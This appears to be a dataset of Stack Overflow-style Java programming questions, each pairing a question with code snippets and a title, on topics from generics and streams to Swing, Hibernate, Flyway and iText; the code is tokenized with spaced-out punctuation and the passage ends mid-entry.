.mapToObj ( name : :charAt ) is the argument to the flatMap function.How could I use the flatMap function with IntStream.range to convert the strings to a sequence of numbers corresponding to the lengths of the words ? I have tried this : but it does not compile . I was expecting the line to take the strings and convert them to 0,1,2,0,1,2,3,0,1,2 . What am I misunderstanding ? How can I get this sequence of numbers using the output of name - > IntStream.range ( 0 , name.length ( ) ) ? Thank you in advance .","Stream.of ( `` XML '' , `` Java '' , `` CSS '' ) .flatMap ( name - > IntStream.range ( 0 , name.length ( ) ) .mapToObj ( name : :charAt ) ) .forEach ( System.out : :println ) ; XMLJavaCSS Stream.of ( `` XML '' , `` Java '' , `` CSS '' ) .flatMap ( name - > IntStream.range ( 0 , name.length ( ) ) ) .forEach ( System.out : :println ) ; .flatMap ( name - > IntStream.range ( 0 , name.length ( ) ) )",Java forEach not working on flatMap using IntStream.range +Java,"Q1 . Why Java allows such casting at run-time ? Q2 . If using bean , what is the best practice to avoid this error ?","Object stringMap = new HashMap < String , String > ( ) { { put ( `` 1 '' , `` a '' ) ; } } ; Map < Integer , String > integerMap = ( Map < Integer , String > ) stringMap ; // Why does n't Java throw an exception at run-time ? // I know this is not a problem if stringMap is declared as Map < String , String > .// However , the actual code above was using Spring Bean.// Map < Integer , String > integerMap = ( Map < Integer , String > ) context.getBean ( `` map '' ) ; System.out.println ( integerMap.get ( 1 ) ) ; // prints nullSystem.out.println ( integerMap.get ( `` 1 '' ) ) ; // prints a",Why does n't Java complain about generic map casting ? +Java,"I 'm working on an amateur JVM implementation , and I 'm trying to make sure I have test coverage for all of the opcodes in the spec . I 've gotten it down to the last few , but nop and swap have been eluding me . For example , here 's a simple function that might use swap : But the bytecode produced by javac 1.6 avoids swapping in lieu of local storage : Any ideas ?",static int do_swap ( ) { int a = 56 ; int b = 32 ; return b % a ; } static int do_swap ( ) ; Code : 0 : bipush 56 2 : istore_0 3 : bipush 32 5 : istore_1 6 : iload_1 7 : iload_0 8 : irem 9 : ireturn,What Java code will force javac 1.6 to use the 'swap ' and 'nop ' opcodes ? +Java,"I 'm importing a large text file , 17 million digits long and I 'm using this code : It loads the file pretty much instantly and prints out 'Done ' but it takes a long time ( about an hour ) for the String to be converted into a BigInteger , is there anything I can do to speed this up and quickly load the number ?",BufferedReader reader = new BufferedReader ( new FileReader ( `` test2.txt '' ) ) ; String line = reader.readLine ( ) ; System.out.println ( `` Done '' ) ; BigInteger num = new BigInteger ( line ) ; System.out.println ( `` Done Again '' ) ;,How can I quickly load a large txt file into BigInteger ? +Java,"I 'm working on a Java Swing application where I query a table in a SQL Server database . This table contains some data that is in Arabic , Chinese etc ... But the problem is that I am not getting any results while using this query : ( var can be Arabic or any other language ) : I did some searching and then tried the following : I am getting this error message on NetBeans : Exception in thread `` AWT-EventQueue-0 '' org.hibernate.hql.internal.ast.QuerySyntaxException : unexpected token : N near line 1Can someone help me with this problem ? I 'm confused knowing that this same last query worked perfectly in SQL Server Management Studio .",from Table T where T.columnName like ' % '' +var+ '' % ' from Table T where T.columnName like N ' % '' +var+ '' % ',Can not query SQL Server table containing Arabic from my Java app using HQL +Java,"Auto-Format by eclipse for java code is brilliant ! You can write terrible code and then simple type CTRL+SHIFT+f - and the code is amazing.But , sometime I want to mark part of code to be not automatically formatted.For example by fluent interface : and after type CTRL+SHIFT+fHowever , I 'm looking for some method to mark such code non-autoformat , e.g .","public void fluentInterfaceJooqDemo ( ) { create.select ( AUTHOR.FIRST_NAME , AUTHOR.LAST_NAME , count ( ) ) .from ( AUTHOR ) .join ( BOOK ) .on ( AUTHOR.ID.equal ( BOOK.AUTHOR_ID ) ) .where ( BOOK.LANGUAGE.eq ( `` DE '' ) ) .and ( BOOK.PUBLISHED.gt ( date ( `` 2008-01-01 '' ) ) ) .groupBy ( AUTHOR.FIRST_NAME , AUTHOR.LAST_NAME ) .having ( count ( ) .gt ( 5 ) ) .orderBy ( AUTHOR.LAST_NAME.asc ( ) .nullsFirst ( ) ) .limit ( 2 ) .offset ( 1 ) .forUpdate ( ) .of ( AUTHOR.FIRST_NAME , AUTHOR.LAST_NAME ) ; } public void fluentInterfaceJooqDemo ( ) { create.select ( AUTHOR.FIRST_NAME , AUTHOR.LAST_NAME , count ( ) ) .from ( AUTHOR ) .join ( BOOK ) .on ( AUTHOR.ID.equal ( BOOK.AUTHOR_ID ) ) .where ( BOOK.LANGUAGE.eq ( `` DE '' ) ) .and ( BOOK.PUBLISHED.gt ( date ( `` 2008-01-01 '' ) ) ) .groupBy ( AUTHOR.FIRST_NAME , AUTHOR.LAST_NAME ) .having ( count ( ) .gt ( 5 ) ) .orderBy ( AUTHOR.LAST_NAME.asc ( ) .nullsFirst ( ) ) .limit ( 2 ) .offset ( 1 ) .forUpdate ( ) .of ( AUTHOR.FIRST_NAME , AUTHOR.LAST_NAME ) ; } //non-formatpublic void fluentInterfaceJooqDemo ( ) { ... }",Is it possible to mark a part of java code in eclipse to be not auto formatted ? +Java,"Let suppose we have the custom ListView which extends onDraw ( ) method by drawing some rectangle in it.The bitmap drawn represent some sort of glass which is rectangle with width equal to the width of listview and some height . What I want is when list item scrolls into this rectangle the color used for drawing text ( not all item with background and etc . ) would be changed into some another color . So , for example , when list item fits so that only half height of text fits into glassPickerBitmap , the outside part of list item should remain in its ordinal colors , and the part that is inside glassPickerBitmap should change its text color . List items are simple TextViews without any background.How can be this achieved ? Maybe any ColorFilters assigned to the Paint ? But where ? onDraw ( ) method of Listview is not even called when ListView is scrolled ... Can be this done inside customized views , for example , that will be ListView 's items ? Or may be some Color/Shader/do not know what else overlay can be used here , but where ? EDIT ( added image examples ) : Here is example of some crop from real-life app . There are 2 ListViews : one on the left side , other on the right . Glass is the grayed rectangle . Now , left list has `` United States Dollar '' currency selected . And I am scrolling right ListView in that way , that selection is somewhere between USD and Afghan Afghani . Now , what I want , is that USD currency in the left ListView would be drawn in red ( exact color does n't matter now , I will change it later to something meaningful ) AND , in the same time , bottom part of `` United States Dollar '' and top part of `` Afghan Afghani '' in the right ListView would be drawn also in the same red color.This color changing should be done in dynamic way - color should be changed only for the part of text that is under glass rectangle during scrolling of the list . *OK , EUR and USD here are special currencies drawn with not standard cyan color . The question is about at least text with white color . But if it will be possible to change also cyan color it would be great .","class Listpicker extends ListView { //..Some other methods here..// @ Override protected void onDraw ( android.graphics.Canvas canvas ) { super.onDraw ( canvas ) ; canvas.drawBitmap ( glassPickerBitmap , null , glassRect , semiTransparrentPaint ) ; } }",How to overlay list item text color in specific region ? +Java,"How can I have a method with two parameters , with both parameters having the same concrete type ? For example , allows for a of any type and b of any type . I want to force such that a and b have the same concrete type . I triedand inputting a Date and a String to that method , expecting a compile-time error , but I get no errors , since T will resolve to ? extends Serializable & Comparable , since both Date and String implements Serializable and Comparable .","boolean equals ( Object a , Object b ) < T > boolean equals ( T a , T b )",Forcing two parameters of a generic method to have the same concrete type +Java,"The following code compiles : But the following code produces six errors : Errors : It 's pretty clear that the compiler is n't recognizing the & being used for multiple generic bounds on Class . Are you not allowed multiple bounds on the type parameter for Class ? What am I supposed to do if I want an ArrayList of Classes that implement both Interface1 and Interface2 ? Motivation : The code I 'm working on at the moment has a lot of declarations like this : They map a string to a class which contains a 'method ' for doing a certain calculation . Each separate hashmap uses a different wildcard for the classes ( so ApproximativeMode might be replaced with ExactMode for the hashmap containing all of the exact methods ) . I 've just gone through all of the methods , making them implement a new interface , NamedMethod , which has a method that gets their full , displayed name ( e.g . `` Linear hydroxyadenine method '' ) . I now want to put all of the hashmaps into an ArrayList so that I can write an iterator that goes over the hashmaps and displays their full names . So I might end up with : Approximative Methodsvon Ahsen et al.Owen et al.etc.Exact MethodsSantalucia et al . LHMetc.etc.So my declaration of the ArrayList holding all the hashmaps is : Of course , none of the hashmaps are actually of that type , but I was hoping that I could add NamedMethod to the wildcard in each one and get an ArrayList of them all . Clearly that is n't possible . If this is n't clear , let me know and I 'll fix it up .","import java.util.ArrayList ; public class ClassTest { private ArrayList < Class < ? extends Interface1 > > testClass = new ArrayList < Class < ? extends Interface1 > > ( ) ; private interface Interface1 { } } import java.util.ArrayList ; public class ClassTest { private ArrayList < Class < ? extends Interface1 & Interface2 > > testClass = new ArrayList < Class < ? extends Interface1 & Interface2 > > ( ) ; private interface Interface1 { } private interface Interface2 { } } ClassTest.java:5 : > expected private ArrayList < Class < ? extends Interface1 & Interface2 > > testClass = ^ClassTest.java:5 : ' ; ' expected private ArrayList < Class < ? extends Interface1 & Interface2 > > testClass = ^ClassTest.java:5 : < identifier > expected private ArrayList < Class < ? extends Interface1 & Interface2 > > testClass = ^ClassTest.java:6 : > expected new ArrayList < Class < ? extends Interface1 & Interface2 > > ( ) ; ^ClassTest.java:6 : ' ( ' or ' [ ' expected new ArrayList < Class < ? extends Interface1 & Interface2 > > ( ) ; ^ClassTest.java:6 : illegal start of expression new ArrayList < Class < ? extends Interface1 & Interface2 > > ( ) ; ^ private static HashMap < String , Class < ? extends ApproximativeMode > > approximativeMethod = new HashMap < String , Class < ? extends ApproximativeMode > > ( ) ; private ArrayList < Hashmap < String , Class < ? extends NamedMethod > > > namedMethods ;",Can Class < V > take multiple bounds on the generic type ? +Java,"I have a classand another class that inherits from itNote that the method ( ) of B is simply a wrapper for method ( ) of A.When I run the following codeI get Object B , A attribute as output which means that , this and this.attr accessed different things . Why is that the case ? Should n't System.out.println ( this ) refer to the toString ( ) method of class A ?","public class A { public String attr = '' A attribute '' ; public void method ( ) { System.out.println ( this+ '' , `` +this.attr ) ; } public String toString ( ) { return ( `` Object A '' ) ; } } public class B extends A { public String attr = `` B attribute '' ; public void method ( ) { super.method ( ) ; } public String toString ( ) { return ( `` Object B '' ) ; } } B b = new B ( ) ; b.method ( ) ;",Why can methods be overriden but attributes ca n't ? +Java,"application.ymlWhile reading ( Samsung+Vodafone ) key from application yml file , we are getting . concatenated String format as 'SamsungVodafone ' .Morever we heve tried `` Samsung'/+'Vodafone '' : SAMSVV but the result was same and we have tried other symbol such as '- ' so its working fine .For reading key and value from application yml file . we have written below code.Note : Spring Boot Version 2.0.6.RELEASE","mobile-type : mobile-codes : BlackBerry : BBSS Samsung : SAMS Samsung+Vodafone : SAMSVV import java.util.Map ; import org.springframework.boot.context.properties.ConfigurationProperties ; import org.springframework.stereotype.Component ; @ ConfigurationProperties ( prefix = `` mobile-type '' ) @ Component public class mobileTypeConfig { Map < String , String > mobileCodes ; public Map < String , String > getMobileCodes ( ) { return mobileCodes ; } public void setMobileCodes ( Map < String , String > mobileCodes ) { this.mobileCodes= mobileCodes ; } }",How to read properties with special characters from application.yml in springboot +Java,I am new to regex going through the tutorial I found the regex [ ... ] says Matches any single character in brackets.. So I triedI also tried escaping bracketsBut it gives me false I expected true because l is inside brackets.It would be helpful if anybody clear my doubts .,"System.out.println ( Pattern.matches ( `` [ ... ] '' , '' [ l ] '' ) ) ; System.out.println ( Pattern.matches ( `` [ ... ] '' , '' \\ [ l\\ ] '' ) ) ;",What is the meaning of [ ... ] regex ? +Java,"I am reading through AngelikaLangerParametrizedTypeWorkAround . I do understand manyof the concepts here , i do understand what is unbounded wild card parametrized type . Thoughquoting from the reference it states that : -In the case of the unbounded wildcard parameterized type we areadditionally restricted in how we can use the array elements , becausethe compiler prevents certain operations on the unbounded wildcardparameterized type . In essence , arrays of raw types and unboundedwildcard parameterized types are semantically very different from whatwe would express with an array of a concrete wildcard parameterizedtype . For this reason they are not a good workaround and onlyacceptable when the superior efficiency of arrays ( as compared tocollections ) is of paramount importance.I have two specific questions here.What is practical usage of unbounded wild-card parameterized type ? It 's clearly evident from the example , that you can add elements to the array but while retrieving , it issues a compiler error ? What does the article mean , when it states that , these wild-card parameterized are only acceptable when superior efficiency of arrays is of paramount importance ? Can someone elaborbate on this issue ?","static void test ( ) { Pair < ? , ? > [ ] intPairArr = new Pair < ? , ? > [ 10 ] ; addElements ( intPairArr ) ; Pair < Integer , Integer > pair = intPairArr [ 1 ] ; // error -1 Integer i = pair.getFirst ( ) ; pair.setSecond ( i ) ; } static void addElements ( Object [ ] objArr ) { objArr [ 0 ] = new Pair < Integer , Integer > ( 0,0 ) ; objArr [ 1 ] = new Pair < String , String > ( `` '' , '' '' ) ; // should fail , but succeeds }",What is the practical usage of an array of an unbounded wildcard parameterized type ? +Java,"I 'm trying to run some Unit Tests in Andoid Studio . In the `` Run Configurations '' -tab I 've made it so that my JUnit searches the entire project for tests . My JRE is configured for 1.8 and I 've got Code Coverage enabled . However , every time I try and run my tests , I get the following `` IDE Fatal Errors '' : I 've tried to google a solution and this thread came close : NullPointerExcepton in Android Studio plugin Android Support , but my SDK 's and plugins are up-to-date and that did n't really solve it.Thanks already",Unable to determine list of modules to buildjava.lang.IllegalStateException : Unable to determine list of modules to build at com.android.tools.idea.gradle.run.MakeBeforeRunTaskProvider.createBuilder ( MakeBeforeRunTaskProvider.java:357 ) at com.android.tools.idea.gradle.run.MakeBeforeRunTaskProvider.executeTask ( MakeBeforeRunTaskProvider.java:255 ) at com.android.tools.idea.gradle.run.MakeBeforeRunTaskProvider.executeTask ( MakeBeforeRunTaskProvider.java:86 ) at com.intellij.execution.impl.ExecutionManagerImpl $ 3.run ( ExecutionManagerImpl.java:317 ) at com.intellij.openapi.application.impl.ApplicationImpl $ 8.run ( ApplicationImpl.java:369 ) at java.util.concurrent.Executors $ RunnableAdapter.call ( Executors.java:511 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:266 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1142 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:617 ) at java.lang.Thread.run ( Thread.java:745 ),Android : IllegalStateException in Android Support when executing Unit Tests +Java,"I need to be able to deploy .ear file containing .rar resource adapter to jBoss/Wildfly . It has been working previously for GF . Problem is that in my .war file ( which is also part of the .ear ) I have this web.xml : and jBoss can not find the resource : I have created element in standalone.xml , but seams the naming is wrong or what : If I have .rar packaged in .ear is it enough to just deploy with ra.xml ? Where is the resource-adapter JNDI name defined ?",< resource-ref > < res-ref-name > eis/host < /res-ref-name > < res-type > javax.resource.cci.ConnectionFactory < /res-type > < res-auth > Container < /res-auth > < res-sharing-scope > Shareable < /res-sharing-scope > < lookup-name > java : /env/eis/host-somehost < /lookup-name > < /resource-ref > Services with missing/unavailable dependencies '' = > [ `` jboss.naming.context.java.module.\ '' HostConnector-ear-1.17-SNAPSHOT\ '' .\ '' HostConnector-war-1.17-SNAPSHOT\ '' .env.eis.host is missing [ jboss.naming.context.java.jboss.resources.eis.host ] '' ] } < subsystem xmlns= '' urn : jboss : domain : resource-adapters:2.0 '' > < resource-adapters > < resource-adapter id= '' Host-ra '' > < archive > HostConnector-1.17-SNAPSHOT-local # HostConnector-rar-1.17-SNAPSHOT.rar < /archive > < connection-definitions > < connection-definition class-name= '' ... ..jca.spi.HostManagedConnectionFactory '' jndi-name= '' java : /env/eis/host-somehost '' enabled= '' true '' use-java-context= '' false '' pool-name= '' java : jboss/env/eis/host-somehost '' / > < /connection-definitions > < /resource-adapter > < /resource-adapters > < /subsystem >,JCA Glassfish to JBoss/Wildfly +Java,"I am using junit with hamcrest in my unit tests and I came across a generics problem : I am aware of type inference not being available this way and that one of the solutions is to give a type hint , but how should I type hint when using static imports ?","assertThat ( collection , empty ( ) ) ;",How to hint type inference when using static imports ? +Java,"I 'm trying to embed Swing content in a larger JavaFX application , however I ca n't get the embedded JPanel to have a transparent background . The JPanel only paints some of its area . I 'd like the green to `` show through '' , i.e . remove the light grey background in picture below.I 've tried various combinations of setOpaque ( false ) , setBackground ( null ) , etc.Setting the background of the SwingNode to transparentLots of searchingUpdateWe 've found a workaround , see answer . However I 'd still be interested in finding a better more stable way of doing this ...","public class TransparentSwingNode extends Application { @ Override public void start ( Stage stage ) { BorderPane pane = new BorderPane ( ) ; pane.setStyle ( `` -fx-background-color : green '' ) ; final SwingNode swingNode = new SwingNode ( ) ; BorderPane.setMargin ( swingNode , new Insets ( 20 ) ) ; createAndSetSwingContent ( swingNode ) ; pane.setCenter ( swingNode ) ; // swingNode.setStyle ( `` -fx-background-color : transparent '' ) ; // does n't work stage.setScene ( new Scene ( pane , 240 , 240 ) ) ; stage.show ( ) ; } private void createAndSetSwingContent ( final SwingNode swingNode ) { SwingUtilities.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { JPanel panel = new DummyPanel ( ) ; panel.setOpaque ( false ) ; // panel.setBackground ( null ) ; // does n't work // panel.setBackground ( new Color ( 0 , 0 , 0 , 0 ) ) ; // Does n't work swingNode.setContent ( panel ) ; } } ) ; } private class DummyPanel extends JPanel { @ Override protected void paintComponent ( Graphics g ) { super.paintComponent ( g ) ; g.setColor ( Color.red ) ; g.fillOval ( getHeight ( ) / 4 , getHeight ( ) / 4 , getWidth ( ) / 2 , getHeight ( ) / 2 ) ; } } public static void main ( String [ ] args ) { launch ( args ) ; } }",SwingNode with transparent content +Java,"As you know the 'program to an interface ' design principle broadly prefers supertypes instead of concrete types or implementations . Is it consistent with the principle to use instanceof in a Java program to derive a concrete type from a supertype ? In my application , Storehouse is an abstract supertype class with a couple of private variables and public getters and setters . ConcreteStorehouseA inherits from Storehouse and has a lot of concrete methods and variables . ConcreteStorehouseB is similar but different.My application receives a Storehouse . However , Storehouse is not a useful type to operate on . Because the only really useful methods are contained in the concrete types , I use instanceof as follows : Is using instanceof compatible with the principle ? Edit : In essence the application is a dice simulator for a table top RPG , Shadowrun . The concrete types are the different test types - Success Test , Opposed Test , Extended Test - which all have very different factors and parameters for their successful operation . The supertype essentially contains the dice pool !",if ( storehouse instanceof ConcreteStorehouseA ) { ConcreteStorehouseA concreteStorehouseA = ( ConcreteStorehouseA ) storehouse ; // perform operations on the concrete type 's useful methods and variables,Is using Java 's instanceOf compatible with the `` program to an interface '' design principle ? +Java,"I have both SQL and Java based migrations . I am trying to use the Flyway callback hook to do something else right after the validation is done , but it is not catching this callback . From the documentation , it seems like it 's as simple as the following.Here is my file structure : My callback : My thought was that once the migration is done , flyway was going to callback into this method . I was not sure what am I missing ?",-java -- db -- -migrations -- -- V1__apple < -- -- java based -- FruitShopFlywayCallback.java < -- -- Callback class-resources -- migrations -- - V1__orange.sql < -- -- sql based public class FruitShopFlywayCallback extends BaseFlywayCallback { @ Override public void afterValidate ( Connection dataConnection ) { System.out.println ( `` it worksssssssss '' ) ; } },flyway 4.0 java base callback afterValidate not catching the hook +Java,"Using iText we can easily change zoom level for links . There is even a piece of code that does this for GoTo destination type . For convienence , please find it below.The code deals only with one of destination types found in PDF files . I 'm interested in changing zoom in other types of destinations ( they are listed in 32000-1 if anyone wondered ) . Specifically , I 'd like to change each destination to GoTo type and specify my own coordinates . I want left coordinate to be the same as the page height of the page to jump . To do this , I obviously I need the page number . How do I get it ? What have I done so far ? The instruction PdfArray d = annotation.getAsArray ( PdfName.DEST ) gives su an array where its first ( 0 based ) element is page reference and not page number as Bruno Lowagie explains in his iText in Action , 2nd edition , p. 202 ) . The array looks like this : [ 1931 0 R , /XYZ , 0 , 677 , 0 ] ` . I can not find correct command to get page number on my own hence this post .","PdfReader reader = new PdfReader ( src ) ; PdfDictionary page = reader.getPageN ( 11 ) ; PdfArray annots = page.getAsArray ( PdfName.ANNOTS ) ; for ( int i = 0 ; i < annots.size ( ) ; i++ ) { PdfDictionary annotation = annots.getAsDict ( i ) ; if ( PdfName.LINK.equals ( annotation.getAsName ( PdfName.SUBTYPE ) ) ) { PdfArray d = annotation.getAsArray ( PdfName.DEST ) ; if ( d ! = null & & d.size ( ) == 5 & & PdfName.XYZ.equals ( d.getAsName ( 1 ) ) ) d.set ( 4 , new PdfNumber ( 0 ) ) ; } }",How do I get a destination page of a link in PDF file ? +Java,"When reading the source code , I stumbled upon this method in the JDK sources . Please note the declaration and initialization of v and newValue . We have here 'nice ' undefined values , assignment in comparisons , which is 'great ' , and extra brackets for worse readability . And other code smells.But why ? Is there any actual benefit to writing code the above way instead of the simple ( ideally with negated v comparison ) : Is there any actual benefit I 'm not aware of ( besides showing off Java constructs ) , rather than going with the 'easy ' way ?","default V computeIfAbsent ( K key , Function < ? super K , ? extends V > mappingFunction ) { Objects.requireNonNull ( mappingFunction ) ; V v ; if ( ( v = get ( key ) ) == null ) { V newValue ; if ( ( newValue = mappingFunction.apply ( key ) ) ! = null ) { put ( key , newValue ) ; return newValue ; } } return v ; } default V computeIfAbsent ( K key , Function < ? super K , ? extends V > mappingFunction ) { Objects.requireNonNull ( mappingFunction ) ; V v = get ( key ) ; if ( v == null ) { V newValue = mappingFunction.apply ( key ) ; if ( newValue ! = null ) { put ( key , newValue ) ; return newValue ; } } return v ; }",Why use assignment in a comparison ? +Java,"I have been using a lot of defensive null checks within my Java code . Though they serve their purpose well ( most of the time ) , they come a with a huge trade off with 'ugly ' looking code.Does it really make sense to put these null checks in all the time ? For example : Practically speaking , the above piece of code is equivalent to the statement object.someMethod ( ) ; If object 's value is null , an exception would have been thrown in both cases ( NullpointerException in the later ) . Does it really make sense to mask the NullpointerExcetion ( NPE ) and throw some custom RunTimeException ( as in the above snippet ) ? I have observed some developers treating NPE as evil , often trying to find out defensive ways to mask it and cover it up with some custom exception . Is this masking really required ? Question Does n't it makes sense to allow our code to fail through an NPE if we can not recover from that null state ? ( In the example above , it 's an irrecoverable scenario it seems . ) If not , why ?",if ( object == null ) { log.error ( `` ... '' ) throw new SomeRuntimeException ( `` '' ) ; } else { object.someMethod ( ) ; },Java : When to skip null checks on an object ? +Java,"I have a REST POST function that has the following header : When I look at it in Swagger UI , the Swagger creates an example request body . That body has in Model view and in the JSON view . But in the whole project there is not a field named systemId . I had checked the request class and its ancestors one by one , and the whole project by search Java . That symbol sequence systemId does not appear even as a substring of another name.Where does Swagger gets that name and how can I stop it ? For I want it to create a valid example , of course . Edit : The API function itself takes JSON input without problems and correctly composes an object of the declared class . Imports : The swagger UI looks so : Edit 2.I have removed @ SwaggerDataType , or replaced it with @ RequestBody , but the strange behaviour remains.I have set the example to be shown as a concrete string with real data : And even that did n't help ! Swagger still generates some senseless string from some distant file ( thanks to @ xpa1492 for the reference ) somewhere on the internet , instead of simply showing out the prepared string . More edit : The pom file : https : //drive.google.com/file/d/16fOCq5EFZYVBJRPg0HeiP102eRzEaH6W/view ? usp=sharing","@ POST @ Consumes ( value = { MediaType.APPLICATION_JSON + `` ; charset=utf-8 '' } ) @ Produces ( value = { MediaType.APPLICATION_JSON + `` ; charset=utf-8 '' } ) @ ApiOperation ( value = `` Create a document type '' , notes = `` creates a document type from Json and returns the created type '' , response = Response.class ) @ Session ( roles = { Role.ROLE_ADMINISTRATOR } ) @ PublicApipublic Response create ( @ ApiParam ( value = `` Created DocumentType '' , required = true ) @ SwaggerDataType ( type = com.infor.daf.icp.internal.rest.models.DocumentType.class ) com.infor.daf.icp.internal.rest.models.DocumentType documentType ) { systemId ( string , optional ) , systemId : `` string '' package com ... .documentarchive.rest.v1import javax.servlet.http.HttpServletRequest ; import javax.ws.rs.Consumes ; import javax.ws.rs.GET ; import javax.ws.rs.POST ; import javax.ws.rs.Path ; import javax.ws.rs.PathParam ; import javax.ws.rs.Produces ; import javax.ws.rs.core.Context ; import javax.ws.rs.core.MediaType ; import javax.ws.rs.core.Response ; import io.swagger.annotations.Api ; import io.swagger.annotations.ApiOperation ; import io.swagger.annotations.ApiParam ; @ ApiParam ( example = DOC_TYPE_EXAMPLE , value = `` Created DocumentType '' , required = true ) @ RequestBody com.infor.daf.icp.internal.rest.models.DocumentType documentType ) { ... . static final private String DOC_TYPE_EXAMPLE = `` { 'entityModel ' : \n '' + `` { 'name ' : 'Anatemplate ' , \n '' + `` 'desc ' : 'Ana-template ' , \n '' +",Why Swagger created a systemId field in example ? +Java,"I am using JShell to test a library for which I made classes , sources , and javadoc available through the class path like so : Still , when double tab after a documented Java identifier I receive : How does JShell expect the documentation ?",jshell -- class-path library-javadoc.jar : library-sources.jar : library-jar-with-dependencies.jar < no documentation found >,How to make javadoc documentation available in JShell ? +Java,"I 'm trying to post a comment using Postman . I 'm sending the following information : Headers : Body : I 'm sending this POST request to https : //oauth.reddit.com/api/comment.In return I get a USER_REQUIRED error : ​Why is that ? I 've passed an access_token and it was accepted as right ( otherwise if I knowingly pass the wrong token I would get a 401 Unauthorized error ) .What I have of the passwords : My usual username : password pairMy script 's app_id : app_secret pairMy access_token I was given in exchange for my app_id : app_secret pair.I also tried to do this in Java , using HttpURLConnection class : But I still get the error output : What else do I need to add to the request to get rid of the error ?","Authorization : `` Bearer access_token '' Content-Type : `` application/x-www-form-urlencoded '' User-Agent : `` some u/user '' api_type : `` json '' thing_id : `` t3_9e04eo '' text : `` some comment '' { `` json '' : { `` errors '' : [ [ `` USER_REQUIRED '' , `` Please log in to do that . `` , null ] ] } } import org.apache.tomcat.util.codec.binary.Base64 ; import org.json.JSONArray ; import org.json.JSONObject ; import java.io.InputStream ; import java.io.OutputStream ; import java.net.HttpURLConnection ; import java.net.URL ; import java.util.ArrayList ; import java.util.Scanner ; public class RedditParser { public static void main ( String [ ] args ) { RedditParser redditParser = new RedditParser ( ) ; redditParser.postAComment ( `` sds '' , `` fdfdf '' ) ; } public void postAComment ( String postID , String commentBody ) { try { String postLink = `` https : //oauth.reddit.com/api/comment '' ; URL loginURL = new URL ( postLink ) ; HttpURLConnection connection = ( HttpURLConnection ) loginURL.openConnection ( ) ; JSONObject requestJSON = new JSONObject ( ) ; requestJSON.put ( `` api_type '' , `` json '' ) ; requestJSON.put ( `` thing_id '' , `` t3_9e04eo '' ) ; requestJSON.put ( `` text '' , `` a test comment '' ) ; connection.setDoOutput ( true ) ; connection.setRequestProperty ( `` Authorization '' , `` Bearer `` +getAccessToken ( ) ) ; //getAccessToken returns correct ( ! ) token ; it 's not the cause of the error connection.setRequestProperty ( `` User-Agent '' , `` script by /u/someuser '' ) ; connection.setRequestProperty ( `` Content-Type '' , `` application/json '' ) ; OutputStream os = connection.getOutputStream ( ) ; os.write ( requestJSON.toString ( ) .getBytes ( `` UTF-8 '' ) ) ; os.close ( ) ; connection.connect ( ) ; System.out.println ( `` Done comment '' ) ; InputStream input = connection.getInputStream ( ) ; String inputString = new Scanner ( input , `` UTF-8 '' ) .useDelimiter ( `` \\Z '' ) .next ( ) ; JSONObject jsonObject = new JSONObject ( inputString ) ; System.out.println ( inputString ) ; } catch ( Exception e ) { System.out.println ( e ) ; } } } ​ Done comment { `` jquery '' : [ [ 0 , 1 , `` refresh '' , [ ] ] , [ 0 , 2 , `` attr '' , `` find '' ] , [ 2 , 3 , `` call '' , [ `` .error.USER_REQUIRED '' ] ] , [ 3 , 4 , `` attr '' , `` show '' ] , [ 4 , 5 , `` call '' , [ ] ] , [ 5 , 6 , `` attr '' , `` text '' ] , [ 6 , 7 , `` call '' , [ `` Please log in to do that . `` ] ] , [ 7 , 8 , `` attr '' , `` end '' ] , [ 8 , 9 , `` call '' , [ ] ] ] , `` success '' : false }",Ca n't post comment on reddit using Postman : USER_REQUIRED error +Java,"I 'm trying to use a JTextPane to render some HTML and apply a CSS stylesheet to it . This means I 'm using HTMLEditorKit and StyleSheet classes . I know that all HTMLEditorKits share the same default StyleSheet instance , so if you change this default stylesheet object , you are applying changes at application level ( all components that render HTML ) .But in my example I thought that I had avoided this by creating my own StyleSheet instance based on the default . This does not work however , as evident on the displayed JTree , which renders as per the stylesheet that was only intended to be applied to the JTextPane.So how does one properly initialize these objects , so that there is no CSS spillage across the application ( so that text pane renders according to CSS , yet the tree does not ) ? Note : the red underline in the above image indicates the spillage problem and was added by me later ( no , it is not the renderer ) .","import java.awt . * ; import javax.swing . * ; import javax.swing.text.html . * ; import javax.swing.tree . * ; public class TextPaneCssSpill extends JFrame { private JTextPane textPane ; private JTree tree ; private JSplitPane splitPane ; public TextPaneCssSpill ( ) { HTMLEditorKit hed = new HTMLEditorKit ( ) ; StyleSheet defaultStyle = hed.getStyleSheet ( ) ; StyleSheet style = new StyleSheet ( ) ; style.addStyleSheet ( defaultStyle ) ; style.addRule ( `` body { font-family : \ '' Monospaced\ '' ; font-size:9px ; } '' ) ; style.addRule ( `` i { color : # bababa ; font-size:9px ; } '' ) ; // gray italic hed.setStyleSheet ( style ) ; textPane = new JTextPane ( ) ; textPane.setEditorKit ( hed ) ; textPane.setDocument ( hed.createDefaultDocument ( ) ) ; DefaultMutableTreeNode root = new DefaultMutableTreeNode ( new MyNode ( `` name '' , `` argument '' ) , true ) ; root.add ( new DefaultMutableTreeNode ( new MyNode ( `` name '' , `` argument '' ) , false ) ) ; root.add ( new DefaultMutableTreeNode ( new MyNode ( `` name '' , `` argument '' ) , false ) ) ; root.add ( new DefaultMutableTreeNode ( new MyNode ( `` name '' , `` argument '' ) , false ) ) ; root.add ( new DefaultMutableTreeNode ( new MyNode ( `` name '' , `` argument '' ) , false ) ) ; tree = new JTree ( root ) ; tree.setCellRenderer ( new MyNodeTreeRenderer ( ) ) ; setLayout ( new BorderLayout ( ) ) ; splitPane = new JSplitPane ( JSplitPane.VERTICAL_SPLIT , textPane , tree ) ; add ( splitPane ) ; pack ( ) ; setLocationRelativeTo ( null ) ; } public static void main ( String [ ] args ) { SwingUtilities.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { new TextPaneCssSpill ( ) .setVisible ( true ) ; } } ) ; } private static class MyNode { private final String name ; private final String argument ; public MyNode ( String name , String argument ) { this.name = name ; this.argument = argument ; } @ Override public String toString ( ) { return name + `` `` + argument ; } } private static class MyNodeTreeRenderer extends DefaultTreeCellRenderer { @ Override public Component getTreeCellRendererComponent ( JTree tree , Object value , boolean sel , boolean expanded , boolean leaf , int row , boolean hasFocus ) { super.getTreeCellRendererComponent ( tree , value , sel , expanded , leaf , row , hasFocus ) ; if ( value instanceof DefaultMutableTreeNode ) { 